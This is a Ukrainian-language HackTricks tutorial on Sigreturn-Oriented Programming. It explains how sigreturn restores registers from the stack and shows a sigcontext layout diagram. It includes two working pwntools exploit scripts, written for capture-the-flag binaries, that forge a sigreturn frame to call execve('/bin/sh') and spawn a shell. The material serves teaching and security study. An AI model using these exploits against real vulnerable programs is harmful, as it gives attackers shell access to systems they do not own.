SROP - Sigreturn-Oriented Programming

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Basic Information

Sigreturn - це спеціальний syscall, який в основному використовується для очищення після завершення виконання обробника сигналів. Сигнали - це переривання, які надсилаються програмі операційною системою, часто для вказівки на те, що сталася якась виняткова ситуація. Коли програма отримує сигнал, вона тимчасово призупиняє свою поточну роботу, щоб обробити сигнал за допомогою обробника сигналів, спеціальної функції, призначеної для роботи з сигналами.

Після завершення обробника сигналів програма повинна відновити свій попередній стан, ніби нічого не сталося. Тут і вступає в гру sigreturn. Він допомагає програмі повернутися з обробника сигналів і відновлює стан програми, очищаючи стековий фрейм (секцію пам'яті, яка зберігає виклики функцій і локальні змінні), що використовувався обробником сигналів.

Цікава частина полягає в тому, як sigreturn відновлює стан програми: він робить це, зберігаючи всі значення регістрів ЦП на стеку. Коли сигнал більше не заблокований, sigreturn витягує ці значення зі стеку, ефективно скидаючи регістри ЦП до їх стану до обробки сигналу. Це включає регістр вказівника стеку (RSP), який вказує на поточну верхню частину стеку.

caution

Виклик syscall sigreturn з ROP-ланцюга та додавання значень регістрів, які ми хочемо завантажити в стек, дозволяє контролювати всі значення регістрів і, отже, викликати, наприклад, syscall execve з /bin/sh.

Зверніть увагу, що це буде типом Ret2syscall, який значно спрощує контроль параметрів для виклику інших Ret2syscalls:

Ret2syscall

Якщо вам цікаво, це структура sigcontext, що зберігається в стеку для подальшого відновлення значень (діаграма з тут):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Для кращого пояснення також перегляньте:

- YouTube

Приклад

Ви можете знайти приклад тут, де виклик signeturn конструюється через ROP (вставляючи в rxa значення 0xf), хоча це фінальний експлойт звідти:

python
from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Перевірте також експлойт звідси, де бінар вже викликав sigreturn, тому немає потреби будувати це з ROP:

python
from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Інші приклади та посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks